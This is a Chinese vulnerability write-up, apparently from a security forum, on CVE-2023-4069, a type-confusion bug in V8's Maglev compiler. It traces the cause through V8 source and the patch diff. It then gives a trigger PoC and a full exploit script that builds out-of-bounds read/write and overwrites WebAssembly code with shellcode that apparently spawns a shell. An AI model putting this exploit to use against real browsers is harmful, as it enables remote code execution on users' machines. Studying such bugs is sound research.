首页
社区
课程
招聘
[原创] CVE-2023-4069:Type confusion in VisitFindNonDefaultConstructorOrConstruct of Maglev
发表于: 2024-4-13 21:07 4234

[原创] CVE-2023-4069:Type confusion in VisitFindNonDefaultConstructorOrConstruct of Maglev

2024-4-13 21:07
4234

@

目录

前言

最近在学习 Maglev 相关知识,然后看了一些与其相关的 CVE,感觉该漏洞比较容易复现,所以先打算复现一下,本文还是主要分析漏洞产生的原因,基础知识笔者会简单说一说,更多的还是需要读者自己去学习

这里说一下为什么笔者不愿意在漏洞分析中写过多的前置知识,因为笔者认为读者都已经开始复现漏洞了,那么对基础知识应当是有一定的了解了,并且笔者的基础也比较差,所以不希望误人子弟,网上的资料很多,自己学学就 OK 啦

环境搭建

1
2
git checkout 7f22404388ef0eb9383f189c1b0a85b5ea93b079
gclient sync -D

前置知识

new 关键字new func() 效果为:

  • 创建一个默认对象 this,然后进行初始化 this.prop = val
  • func 本身返回一个对象,则抛弃默认对象;否则返回默认对象

这里给一个示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class A {
        constructor() {
                this.x = 1;
        }
}
 
class B {
        constructor() {
                this.x = 1;
                return [1.1, 2.2];
        }
}
 
var a = new A();
var b = new B();
print(a); // [object Object]
print(b); // 1.1,2.2

new.target 这里自行看资料

Reflect.construct(target, argument, new_target) 函数以 target 为构造函数创建对象,这里 new_target 提供原型,然后行为跟 new func() 类似

上面的知识都比较简单,所以也不想细说了,如果读者不是很清楚的话,请自行查阅下相关资料吧,这里主要关注 JS 引擎层面的实现

对于默认对象,其是通过 FastNewObject 函数创建的,其调用链如下:

1
2
3
4
5
6
7
8
9
10
TF_BUILTIN(FastNewObject, ConstructorBuiltinsAssembler)
TNode<JSObject> ConstructorBuiltinsAssembler::FastNewObject(
                                                TNode<Context> context,
                                                TNode<JSFunction> target,
                                                TNode<JSReceiver> new_target)
        ⇒ TNode<JSObject> ConstructorBuiltinsAssembler::FastNewObject(
                                                TNode<Context> context,
                                                TNode<JSFunction> target,
                                                TNode<JSReceiver> new_target,
                                                Label* call_runtime)

先来看看 TF_BUILTIN(FastNewObject, ConstructorBuiltinsAssembler)

1
2
3
4
5
6
7
8
9
10
11
12
13
TF_BUILTIN(FastNewObject, ConstructorBuiltinsAssembler) {
  auto context = Parameter<Context>(Descriptor::kContext);
  auto target = Parameter<JSFunction>(Descriptor::kTarget);
  auto new_target = Parameter<JSReceiver>(Descriptor::kNewTarget);
 
  Label call_runtime(this);
  // 先调用 FastNewObject
  TNode<JSObject> result = FastNewObject(context, target, new_target, &call_runtime);
  Return(result);
 
  BIND(&call_runtime);
  TailCallRuntime(Runtime::kNewObject, context, target, new_target);
}

该函数比较简单,其主要就是调用了 ConstructorBuiltinsAssembler::FastNewObject 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
TNode<JSObject> ConstructorBuiltinsAssembler::FastNewObject(
    TNode<Context> context, TNode<JSFunction> target,
    TNode<JSReceiver> new_target, Label* call_runtime) {
  // Verify that the new target is a JSFunction.
  Label end(this);
  // 检测 new_target 是否是 JSFunction
  TNode<JSFunction> new_target_func = HeapObjectToJSFunctionWithPrototypeSlot(new_target, call_runtime);
  // Fast path.
  // 快速路径
  // Load the initial map and verify that it's in fact a map.
  // 加载 new_target_func 的 initial_map or proto
  TNode<Object> initial_map_or_proto = LoadJSFunctionPrototypeOrInitialMap(new_target_func);
  // 如果 initial_map_or_proto 是 Smi,则调用 call_runtime 运行时函数(相当于慢速路径了)
  GotoIf(TaggedIsSmi(initial_map_or_proto), call_runtime);
  // 检查  initial_map_or_proto  是否是 Map
  GotoIf(DoesntHaveInstanceType(CAST(initial_map_or_proto), MAP_TYPE), call_runtime);
  // initial_map 是一个 Map
  TNode<Map> initial_map = CAST(initial_map_or_proto);
 
  // Fall back to runtime if the target differs from the new target's initial map constructor.
  // 加载 initial_map 的构造函数 new_target_constructor
  TNode<Object> new_target_constructor = LoadObjectField(initial_map, Map::kConstructorOrBackPointerOrNativeContextOffset);
  // 如果 target != new_target_constructor,则走慢速路径
  GotoIf(TaggedNotEqual(target, new_target_constructor), call_runtime);
 
  TVARIABLE(HeapObject, properties);
  Label instantiate_map(this), allocate_properties(this);
  GotoIf(IsDictionaryMap(initial_map), &allocate_properties);
  {
    // 分配 properties (非字典模式)
    properties = EmptyFixedArrayConstant();
    Goto(&instantiate_map);
  }
  // 字典模式
  BIND(&allocate_properties);
  {
    if (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {
      properties = AllocateSwissNameDictionary(SwissNameDictionary::kInitialCapacity);
    } else {
      properties = AllocateNameDictionary(NameDictionary::kInitialCapacity);
    }
    Goto(&instantiate_map);
  }
 
  BIND(&instantiate_map);
  // 最后根据 initial_map 创建 JSObject
  return AllocateJSObjectFromMap(initial_map, properties.value(), base::nullopt,
                                 AllocationFlag::kNone, kWithSlackTracking);
}

可以看到 ConstructorBuiltinsAssembler::FastNewObject 分为快速路径和慢速路径:

  • 快速路径:直接根据 new_targetinitial_map 进行默认对象的创建
    • initial_map 的构造函数与 target 相同
    • new_targetinitial_map 为一个有效 map
  • 慢速路径:调用 Runtime::kNewObject 运行时函数

这里的快速路径可能有点奇怪?因为这里 target 才是构造函数,所以默认对象的 map 再怎么说也不应该与 new_targetinitial_map 相同,但这其实是一个优化,其会将 targetinitial_mapnew_targetprototype 缓存在 new_targetinitial_map 域,这个后面再说

然后可以看到走快速路径是存在两个条件的,不满足则会走慢速路径 Runtime::kNewObjec

1
2
3
4
5
6
7
8
9
RUNTIME_FUNCTION(Runtime_NewObject) {
  HandleScope scope(isolate);
  DCHECK_EQ(2, args.length());
  Handle<JSFunction> target = args.at<JSFunction>(0);
  Handle<JSReceiver> new_target = args.at<JSReceiver>(1);
  RETURN_RESULT_OR_FAILURE(
      isolate,
      JSObject::New(target, new_target, Handle<AllocationSite>::null()));
}

可以看到其直接调用了 JSObject::New 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
MaybeHandle<JSObject> JSObject::New(Handle<JSFunction> constructor,
                                    Handle<JSReceiver> new_target,
                                    Handle<AllocationSite> site) {
  // 这里可以看下注释:其对 new / Reflect.construct 的 new.target 存在不同的要求
  // If called through new, new.target can be:
  // - a subclass of constructor,
  // - a proxy wrapper around constructor, or
  // - the constructor itself.
  // If called through Reflect.construct, it's guaranteed to be a constructor.
  Isolate* const isolate = constructor->GetIsolate();
  DCHECK(constructor->IsConstructor());
  DCHECK(new_target->IsConstructor());
  DCHECK(!constructor->has_initial_map() ||
         !InstanceTypeChecker::IsJSFunction(constructor->initial_map().instance_type()));
 
  Handle<Map> initial_map;
  //【1】
  ASSIGN_RETURN_ON_EXCEPTION(
      isolate, initial_map,
      JSFunction::GetDerivedMap(isolate, constructor, new_target), JSObject);
   
  constexpr int initial_capacity = V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL
                                       ? SwissNameDictionary::kInitialCapacity
                                       : NameDictionary::kInitialCapacity;
   
  Handle<JSObject> result = isolate->factory()->NewFastOrSlowJSObjectFromMap(
      initial_map, initial_capacity, AllocationType::kYoung, site);
   
  return result;
}

【1】 处会调用 JSFunction::GetDerivedMap 函数,这里的 constructor 传入的是 target

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
MaybeHandle<Map> JSFunction::GetDerivedMap(Isolate* isolate,
                                           Handle<JSFunction> constructor,
                                           Handle<JSReceiver> new_target) {
  // 为 constructor 即 target 分配 initial_map
  EnsureHasInitialMap(constructor);
 
  Handle<Map> constructor_initial_map(constructor->initial_map(), isolate);
  // 如果 target == new_target,则直接返回
  if (*new_target == *constructor) return constructor_initial_map;
 
  Handle<Map> result_map;
  // Fast case, new.target is a subclass of constructor. The map is cacheable
  // (and may already have been cached). new.target.prototype is guaranteed to
  // be a JSReceiver.
  // 否则为 new_target 创建 initial_map
  if (new_target->IsJSFunction()) {
    Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);
    if (FastInitializeDerivedMap(isolate, function, constructor, constructor_initial_map)) {
      return handle(function->initial_map(), isolate);
    }
  }

可以看到其会调用 FastInitializeDerivedMapnew_target 创建 initial_map

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
bool FastInitializeDerivedMap(Isolate* isolate, Handle<JSFunction> new_target,
                              Handle<JSFunction> constructor,
                              Handle<Map> constructor_initial_map) {
  // Use the default intrinsic prototype instead.
  // new_target 不是一个 JSFunction,返回 false 表示失败
  if (!new_target->has_prototype_slot()) return false;
  // Check that |function|'s initial map still in sync with the |constructor|,
  // otherwise we must create a new initial map for |function|.
  // 如果 new_target 存在 initial_map,并且 initial_map.constructor 就是 target
  //    则说明之前已经缓存过了,所以直接返回 true
  if (new_target->has_initial_map() &&
        new_target->initial_map().GetConstructor() == *constructor) {
    DCHECK(new_target->instance_prototype().IsJSReceiver());
    return true;
  }
  // 否则创建新的 map
......
  // 【1】
  Handle<Map> map =
      Map::CopyInitialMap(isolate, constructor_initial_map, instance_size, in_object_properties, unused_property_fields);
  map->set_new_target_is_base(false);
  Handle<HeapObject> prototype(new_target->instance_prototype(), isolate);
  // 【2】
  JSFunction::SetInitialMap(isolate, new_target, map, prototype, constructor);
  DCHECK(new_target->instance_prototype().IsJSReceiver());
  map->set_construction_counter(Map::kNoSlackTracking);
  map->StartInobjectSlackTracking();
  return true;
}

可以看到在 【2】 处设置了 new_targetinitial_mapmap,但是修改了 prototypenew_targetprototypeconstructortarget。而该 map【1】 处是通过复制 constructor_initial_map 来的,看到这里可能就明白了之前快速路径的逻辑

所以在快速路径中,当 new_target.initial_map.constructor = target 时,则说明 new_target.initial_maptarget.initial_map 是相同的,所以这里就会直接使用 new_target.initial_map

OK,以上就是后面漏洞分析需要的一些基础知识

漏洞分析

还是先从 patch 入手:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index d5f6128..2c5227e 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -5347,6 +5347,14 @@
   StoreRegister(iterator_.GetRegisterOperand(0), map_proto);
 }
  
+bool MaglevGraphBuilder::HasValidInitialMap(
+    compiler::JSFunctionRef new_target, compiler::JSFunctionRef constructor) {
if (!new_target.map(broker()).has_prototype_slot()) return false;
if (!new_target.has_initial_map(broker())) return false;
+  compiler::MapRef initial_map = new_target.initial_map(broker());
return initial_map.GetConstructor(broker()).equals(constructor);
+}
+
 void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
   ValueNode* this_function = LoadRegisterTagged(0);
   ValueNode* new_target = LoadRegisterTagged(1);
@@ -5380,7 +5388,9 @@
               TryGetConstant(new_target);
           if (kind == FunctionKind::kDefaultBaseConstructor) {
             ValueNode* object;
-            if (new_target_function && new_target_function->IsJSFunction()) {
+            if (new_target_function && new_target_function->IsJSFunction() &&
+                HasValidInitialMap(new_target_function->AsJSFunction(),
+                                   current_function)) {
               object = BuildAllocateFastObject(
                   FastObject(new_target_function->AsJSFunction(), zone(),
                              broker()),
diff --git a/src/maglev/maglev-graph-builder.h b/src/maglev/maglev-graph-builder.h
index 0abb4a8..d92354c 100644
--- a/src/maglev/maglev-graph-builder.h
+++ b/src/maglev/maglev-graph-builder.h
@@ -1884,6 +1884,9 @@
   void MergeDeadLoopIntoFrameState(int target);
   void MergeIntoInlinedReturnFrameState(BasicBlock* block);
  
bool HasValidInitialMap(compiler::JSFunctionRef new_target,
+                          compiler::JSFunctionRef constructor);
+
   enum JumpType { kJumpIfTrue, kJumpIfFalse };
   enum class BranchSpecializationMode { kDefault, kAlwaysBoolean };
   JumpType NegateJumpType(JumpType jump_type);

从补丁打的位置可以知道该漏洞应该发生在 Maglev 的图构建阶段,并且其主要打在了 MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct 函数中,根据函数名大概知道其主要就是处理 FindNonDefaultConstructorOrConstruct 字节码的,而该操作的功能为“寻找非默认构造函数”,这里结合 chatGPT 食用:

在 V8 引擎中,FindNonDefaultConstructorOrConstruct 字节码指令用于查找非默认构造函数或构造器函数。这个字节码指令在 JavaScript 代码中的类构造过程中使用。

当在 JavaScript 中创建一个类并调用 new 关键字来实例化对象时,V8 引擎会执行相应的字节码指令序列。其中,FindNonDefaultConstructorOrConstruct 字节码指令用于查找适当的构造函数或构造器函数。

具体而言,该指令会检查类的原型链以查找适合的构造函数。它首先尝试查找类自身的 constructor 属性,如果找到则使用该构造函数。否则,它会沿着原型链向上查找,直到找到一个非默认构造函数或构造器函数。

这个过程是为了确保在类继承链中正确地选择构造函数,以便在实例化对象时执行相应的初始化逻辑。

所以可以写出如下代码去生成目标字节码:

1
2
3
class A {}
class B extends A {}
var b = new B();

来看下 B 产生的字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
CreateRestParameter
Star2
Mov <closure>, r1
FindNonDefaultConstructorOrConstruct r1, r0, r7-r8
Mov r2, r5
Ldar r7
Mov r1, r3
Mov r0, r6
Mov r8, r4
JumpIfTrue [12] (0x352f0019b2df @ 35) ----> |
ThrowIfNotSuperConstructor r4               |  t
Ldar r6                                     |  r
ConstructWithSpread r4, r5-r5, [0]          |  u
Star4                                       |  e
Ldar r4                             <--------
Return

可以看到这里确实生成了 FindNonDefaultConstructorOrConstruct 字节码,其实可以把它看成一种优化,其会遍历 B 的原型链,尽量的忽略哪些默认构造函数,如果最后到达原型链顶层,则调用 FastNewObject 创建默认对象

现在我们回到主要的补丁代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
   ValueNode* this_function = LoadRegisterTagged(0);
   ValueNode* new_target = LoadRegisterTagged(1);
@@ -5380,7 +5388,9 @@
               TryGetConstant(new_target);
           if (kind == FunctionKind::kDefaultBaseConstructor) {
             ValueNode* object;
-            if (new_target_function && new_target_function->IsJSFunction()) {
+            if (new_target_function && new_target_function->IsJSFunction() &&
+                HasValidInitialMap(new_target_function->AsJSFunction(),
+                                   current_function)) {
               object = BuildAllocateFastObject(
                   FastObject(new_target_function->AsJSFunction(), zone(),
                              broker()),

可以看到这里的补丁仅仅对 new_targetinitial_map 进行了检查,而之前的漏洞代码并没有对 new_targetinitial_map 进行合法性检查,我们看下这个函数的关键逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
  ValueNode* this_function = LoadRegisterTagged(0); // target
  ValueNode* new_target = LoadRegisterTagged(1);  // new_target
 
  auto register_pair = iterator_.GetRegisterPairOperand(2);
  // 如果 TryGetConstant(this_function) 返回不为空 【1】
  if (compiler::OptionalHeapObjectRef constant = TryGetConstant(this_function)) {
    // function_map
    compiler::MapRef function_map = constant->map(broker());
    // 原型链,后面将进行遍历
    compiler::HeapObjectRef current = function_map.prototype(broker());
 
    if (broker()->dependencies()->DependOnArrayIteratorProtector()) {
      while (true) {
        // 不是 JSFunction,则 break,即遍历到头了,原型链的尽头是 NULL
        if (!current.IsJSFunction()) break;
        // 当前遍历的原型构造函数
        compiler::JSFunctionRef current_function = current.AsJSFunction();
      ......
        // 获取构造函数类型
        //  kDefaultDerivedConstructor 表示派生默认构造函数
        //  kDefaultBaseConstructor    表示顶层默认构造函数
        FunctionKind kind = current_function.shared(broker()).kind();
        // 如果是 kDefaultDerivedConstructor,表示派生默认构造函数,则直接跳过
        if (kind != FunctionKind::kDefaultDerivedConstructor) {
          broker()->dependencies()->DependOnStablePrototypeChain(
              function_map, WhereToStart::kStartAtReceiver, current_function);
 
          compiler::OptionalHeapObjectRef new_target_function = TryGetConstant(new_target);
          // 如果是 kDefaultBaseConstructor,表示已经到顶层了,则会进入该分支
          if (kind == FunctionKind::kDefaultBaseConstructor) {
            ValueNode* object;
            // 如果 new_target_function 是一个 constant 并且是 JSFunction
            //      则调用 BuildAllocateFastObject 创建默认对象
            if (new_target_function && new_target_function->IsJSFunction()) {
              object = BuildAllocateFastObject(
                  FastObject(new_target_function->AsJSFunction(), zone(), broker()),
                  AllocationType::kYoung);
            } else {
            // 调用 TF_BUILTIN(FastNewObject, ConstructorBuiltinsAssembler) 创建默认对象
              object = BuildCallBuiltin<Builtin::kFastNewObject>(
                  {GetConstant(current_function), new_target});
            }
            StoreRegister(register_pair.first, GetBooleanConstant(true));
            StoreRegister(register_pair.second, object);
            return;
          }
          break;
        }
        // Keep walking up the class tree.
        current = current_function.map(broker()).prototype(broker());
      }
    }
    StoreRegister(register_pair.first, GetBooleanConstant(false));
    StoreRegister(register_pair.second, GetConstant(current));
    return;
  }
......
}

可以看到如果最后到达顶层构造函数,并且 new_target 是一个 JSFunction 对象,则会调用 BuildAllocateFastObject 进行默认对象的创建,而不是调用之前分析的 TF_BUILTIN(FastNewObject, ConstructorBuiltinsAssembler) 函数进行创建,但是这里调用 BuildAllocateFastObject 时,没用对 new_targetinitial_map 进行合法性检查,然后这里第一个参数是通过 FastObject 构造函数创建的,跟进看看:

1
2
3
4
5
6
7
8
9
10
11
12
FastObject::FastObject(compiler::JSFunctionRef constructor, Zone* zone,
                       compiler::JSHeapBroker* broker)
    : map(constructor.initial_map(broker)) // 【1】
{
  compiler::SlackTrackingPrediction prediction =
      broker->dependencies()->DependOnInitialMapInstanceSizePrediction(constructor);
  inobject_properties = prediction.inobject_property_count();
  instance_size = prediction.instance_size();
  fields = zone->AllocateArray<FastField>(inobject_properties);
  ClearFields();
  elements = FastFixedArray();
}

注意我们传入的参数是 new_target_function,所以可以看到这里的 map 就是 new_target_function.initial_map

然后可以跟进 BuildAllocateFastObject 函数看看:

该函数有多个实现,可以根据参数类型判断具体调用了那个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(FastObject object,
                                                    AllocationType allocation_type) {
  SmallZoneVector<ValueNode*, 8> properties(object.inobject_properties, zone());
  // 分配相关属性内存
  for (int i = 0; i < object.inobject_properties; ++i) {
    properties[i] = BuildAllocateFastObject(object.fields[i], allocation_type);
  }
  ValueNode* elements = BuildAllocateFastObject(object.elements, allocation_type);
 
  DCHECK(object.map.IsJSObjectMap());
  // TODO(leszeks): Fold allocations.
  ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
                              object.instance_size,
                              allocation_type);
  // 注意这里 object.map 就是 new_target.initial_map
  BuildStoreReceiverMap(allocation, object.map); // 【1】
  AddNewNode<StoreTaggedFieldNoWriteBarrier>(
      {allocation, GetRootConstant(RootIndex::kEmptyFixedArray)},
      JSObject::kPropertiesOrHashOffset);
       
  if (object.js_array_length.has_value()) {
    BuildStoreTaggedField(allocation,
                          GetConstant(*object.js_array_length),
                          JSArray::kLengthOffset);
  }
  // 安装 elements
  BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset);
  // 安装属性名
  for (int i = 0; i < object.inobject_properties; ++i) {
    BuildStoreTaggedField(allocation,
                          properties[i],
                          object.map.GetInObjectPropertyOffset(i));
  }
  return allocation;
}

所以这里的关键点就是其把默认对象的 map 设置为了 new_target.initial_map,这便是漏洞之处,通过之前的分析我们知道,调用 BuildAllocateFastObject 函数之前没有对 new_target.initial_map 进行合法性检查,所以最后可以导致的效果为:

  • 创建了一个 new_target.initial_map 类型的默认对象 obj
  • 对默认对象 obj 的初始化由 target 完成

那么这时如果 new_targettargetinitial_map 不相同,则可能导致属性初始化错误,比如 new_targetinitial_mapJSArray,那么此时就会导致 target 忽略对默认对象 length 属性的初始化

漏洞触发

想要到达漏洞代码逻辑,得使以下关键判断成立:

1
2
TryGetConstant(this_function)
    TryGetConstant(new_target)

先来看下 TryGetConstant 函数:

注:这里 TryGetConstant 存在多个实现,但没办法用参数进行判断调用了哪一个,所以这里参考参考文章的分析

1
2
3
4
5
6
7
8
9
10
11
12
13
compiler::OptionalHeapObjectRef MaglevGraphBuilder::TryGetConstant(
    ValueNode* node, ValueNode** constant_node) {
  if (auto result = TryGetConstant(broker(), local_isolate(), node)) { // 【1】
    if (constant_node) *constant_node = node;
    return result;
  }
  const NodeInfo* info = known_node_aspects().TryGetInfoFor(node);
  if (info && info->is_constant()) { // 【2】
    if (constant_node) *constant_node = info->constant_alternative;
    return TryGetConstant(info->constant_alternative);
  }
  return {};
}

由于还没开始审计 Maglev 源码,所以这里笔者不是很懂,简单来说就是这里有两个路径可以进行判断 node 是否是 constant

  • 【1】:该路径直接检查 node 是否是一个 global constant
  • 【2】:检查是否有其它 nodes 标记该 node 是一个 constant

这里 【1】 路径行不通,所以这里利用【2】路径进行绕过,其主要就是插入一个 CheckValue 节点,而该节点会标记该 node 为一个 constant

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ReduceResult MaglevGraphBuilder::BuildCheckValue(ValueNode* node,
                                                 compiler::HeapObjectRef ref) {
  DCHECK(!ref.IsSmi());
  DCHECK(!ref.IsHeapNumber());
 
  if (compiler::OptionalHeapObjectRef maybe_constant = TryGetConstant(node)) {
    if (maybe_constant.value().equals(ref)) {
      return ReduceResult::Done();
    }
    return EmitUnconditionalDeopt(DeoptimizeReason::kUnknown);
  }
  if (ref.IsString()) {
    DCHECK(ref.IsInternalizedString());
    AddNewNode<CheckValueEqualsString>({node}, ref.AsInternalizedString());
  } else {
    AddNewNode<CheckValue>({node}, ref);
  }
  SetKnownValue(node, ref); // <======================== PWN
  return ReduceResult::Done();
}

这里直接看 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class A {}
 
var x = Array;
 
class B extends A {
        constructor() {
                x = new.target;
                super();
        }
}
 
function construct() {
        var r = Reflect.construct(B, [], x);
        return r;
}
 
%PrepareFunctionForOptimization(B);
construct();
construct();
%OptimizeMaglevOnNextCall(B);
var arr = construct();
 
%DebugPrint(x);
print(arr instanceof Array);

看下 Maglev IR
在这里插入图片描述
可以看到这里确实产生了 CheckValue 节点,并且这里可以看 Map 的值:
在这里插入图片描述
可以看到其直接赋值的 new_target.initial_map,而 new_target.initial_map 的类型为 JSArray
在这里插入图片描述
来看下初始化过程:
在这里插入图片描述
这里的 4/8 明显是 properties/element 的偏移,但是其却没有对 length 进行赋值,可以看到print(arr instanceof Array) 输出的是 true,即 arr 是一个数组:
在这里插入图片描述

漏洞利用

这里主要利用的是 JSObjectJSArray 的类型混淆,JSObject 是不存在 length 属性的,而 JSArray 存在 length 属性,所以如果 targetJSObject,而 new_targetJSArray,那么触发漏洞后,target 就不会初始化创建对象的 length 属性,所以这里的 length 就是一个未初始化的值,如果这个未初始化 length 值比较大,就可以实现越界读写

有了越界读写,后面写利用就比较简单了,很多利用手法都大同小异,所以就不细说了,主要说下关键点:

  • 虽然没有对 length 进行初始化,但是一般(没有 gc)时,length 就为 0,所以这里先提前触发 gc 去移动对象,这样有概率存在残留数据覆盖 length,如果 length 比较大,就可以实现越界读写

  • 由于 JSObect 对象不使用 element 属性,所以这里 element 指向 FixedArray[0],其值在笔者机器上固定为 0x219,其属于的页权限为只读权限,但是这里问题不大,因为 0x219 基本就在堆的最低地址处了,只要被覆盖的 length 比较大,就可以实现越界读写

exploit 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;
 
function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}
 
function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}
 
 
function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}
 
function set_u64(val) {
        u64[0] = val;
}
 
function set_l(l) {
        u32[0] = l;
}
 
function set_h(h) {
        u32[1] = h;
}
 
function get_l() {
        return u32[0];
}
 
function get_h() {
        return u32[1];
}
 
function get_u64() {
        return u64[0];
}
 
function get_f64() {
        return f64[0];
}
 
function get_fl(val) {
        f64[0] = val;
        return u32[0];
}
 
function get_fh(val) {
        f64[0] = val;
        return u32[1];
}
 
function add_ref(obj) {
        roots[index++] = obj;
}
 
function major_gc() {
        new ArrayBuffer(0x7fe00000);
}
 
function minor_gc() {
        for (let i = 0; i < 8; i++) {
                add_ref(new ArrayBuffer(0x200000));
        }
        add_ref(new ArrayBuffer(8));
}
 
function hexx(str, val) {
        console.log(str+": 0x"+val.toString(16));
}
 
function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}
 
 
class A {}
 
var x = Array;
 
class B extends A {
        constructor() {
                x = new.target;
                super();
        }
}
 
function construct() {
        var r = Reflect.construct(B, [], x);
        return r;
}
 
//Compile optimize code
for (let i = 0; i < 2000; i++) construct();
minor_gc();
major_gc();
var victim_array = construct();
hexx("victim_array length", victim_array.length);
 
//%DebugPrint(victim_array);
 
var base = 0x00000219+7;
 
var element_start_addr = 0x00442129;
var data_element_start_addr = element_start_addr + 7;
 
var map_addr = data_element_start_addr + 0x1000;
var fake_object_array_addr = map_addr + 0x1000;
var save_fake_object_array_addr = fake_object_array_addr + 0x200;
 
 
var map_offset = (map_addr - base) / 8;
var fake_object_array_offset = (fake_object_array_addr - base) / 8;
var save_fake_object_array_offset = (save_fake_object_array_addr - base) / 8;
 
hexx("map_offset", map_offset);
hexx("fake_object_array_offset", fake_object_array_offset);
hexx("save_fake_object_array_offset", save_fake_object_array_offset);
var spray_array = new Array(0xf700).fill({});
//%DebugPrint(spray_array);
 
//0x2c04040400000061      0x0a0007ff110008420
victim_array[map_offset] = pair_u32_to_f64(data_element_start_addr+0x200+1, 0x2c040404);
victim_array[map_offset+1] = u64_to_f64(0x0a0007ff11000842n);
victim_array[fake_object_array_offset] = pair_u32_to_f64(map_addr+1, 0x219);
victim_array[fake_object_array_offset+1] = pair_u32_to_f64(1, 0x20);
victim_array[save_fake_object_array_offset] = pair_u32_to_f64(fake_object_array_addr+1, fake_object_array_addr+1);
 
var fake_object = spray_array[(save_fake_object_array_addr - data_element_start_addr) / 4];
 
function addressOf(obj) {
        spray_array[0] = obj;
        f64_to_u64(victim_array[(data_element_start_addr-base)/8]);
        return u32[0];
}
 
//var test_arr = [1.1];
//hexx("test_arr address", addressOf(test_arr));
//%DebugPrint(test_arr);
 
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
var pwn = instance.exports.pwn;
 
for (let j = 0x0; j < 10000; j++) {
        wmain()
}
 
var instance_addr = addressOf(instance);
hexx("instance_addr", instance_addr);
 
victim_array[fake_object_array_offset+1] = pair_u32_to_f64(instance_addr-8+0x50, 0x20);
var rwx_addr = f64_to_u64(fake_object[0]);
hexx("rwx_addr", rwx_addr);
 
fake_object[0] = u64_to_f64(rwx_addr+0x71dn-5n);
 
pwn();
 
print("END");
//%DebugPrint(instance);
//%DebugPrint(fake_object);
//%DebugPrint(spray_array);
//readline();

效果如下:
在这里插入图片描述

总结

通过对该 CVE 的分析利用,对 Maglev 有了基本的了解,但是还有一些细节上的东西没有搞清楚,这个只能后面对 Mgalev 逐渐熟悉后再看看了

然后看了下腾讯玄武去年的 talk,发现 Maglev 是一个很不错的攻击面(玄武的大佬好像直接挖了7个洞),其与 trubofan 有部分相同的性质,而其又具有独特的攻击面,所以笔者感觉可以将 turbofan 的一些历史漏洞去套下 Maglev。当然了,随着 chrometurbofan 保护强度的逐步上升,目前想在 trubofan 中出一个洞可以说是非常难了,而 Maglev 应该是目前最能够出 JIT 洞的了,当然自己目前太菜了,也希望早日能够挖到自己的漏洞

